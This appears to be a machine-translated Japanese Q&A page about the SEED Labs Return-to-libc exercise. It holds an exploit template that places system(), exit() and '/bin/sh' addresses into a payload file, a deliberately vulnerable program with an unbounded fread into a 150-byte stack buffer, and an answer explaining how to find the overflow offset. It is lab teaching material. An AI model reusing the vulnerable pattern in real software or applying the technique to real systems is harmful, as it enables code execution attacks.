web-dev-qa-db-ja.com

Return to Libc Attackのバッファオフセットを見つける方法

バッファオーバーフロー攻撃を実装する場所のバッファを見つけようとしています

ラボのリンクもここにあります: https://seedsecuritylabs.org/Labs_16.04/PDF/Return_to_Libc.pdf

150のバッファを使用したReturn To libc攻撃でXYZを見つける方法これは私たちに提供されたエクスプロイトコードであり、すでにアドレスを見つけましたバッファが書き込む必要があること、しかし私はXYZが必要です:


#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {

    char buf[40];
    FILE *badfile;
    badfile = fopen("./badfile", "w");

/* You need to decide the addresses and the values for X, Y, Z. The order of the following three
statements does not imply the order of X, Y, Z. Actually, we intentionally scrambled the order. */

    *(long *) &buf[X] = 0xbffffdd4; // /bin/sh

    *(long *) &buf[Y] = 0xb7e42da0; // system()

    *(long *) &buf[Z] = 0xb7e369d0; // exit()

    fwrite(buf, sizeof(buf), 1, badfile);

    fclose(badfile);

}

これも私たちに与えられた脆弱なプログラムです:


#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* Changing this size will change the layout of the stack. * Instructors can change this value each
year, so students * won’t be able to use the solutions from the past. * Suggested value: between 0
and 200 (cannot exceed 300, or * the program won’t have a buffer-overflow problem). */

#ifndef BUF_SIZE
#define BUF_SIZE 150
#endif

int bof(FILE *badfile) {

    char buffer[BUF_SIZE];

    /* The following statement has a buffer overflow problem */ fread(buffer, sizeof(char), 300, 
    badfile);

    return 1;

}

int main(int argc, char **argv) {

    FILE *badfile;

    /* Change the size of the dummy array to randomize the parameters for this lab. Need to use the array         
    at least once */

    char dummy[BUF_SIZE*5]; memset(dummy, 0, BUF_SIZE*5);

    badfile = fopen("badfile", "r");

    bof(badfile);

    printf("Returned Properly\n");

    fclose(badfile);

    return 1;

}

2
James Ukilin

これを行う簡単な方法は、次の形式の入力を使用することです'a'*BUFF_SIZE + 'qwertyuiopasdfghjklzxcvbnm'。戻りアドレスは、この文字列の4(32ビットシステムを想定)の連続する文字で上書きされます。この入力でプログラムを実行すると、自然にセグメンテーション違反が発生します。使用する dmesg | tailジャンプしたアドレスを検索します。 zlkjであることが判明したとします。これでオフセットがあります。 jklzをジャンプしたいアドレスに置き換えるだけです。アドレスを置き換えるときは、必ずエンディアンに注意してください。

3
positron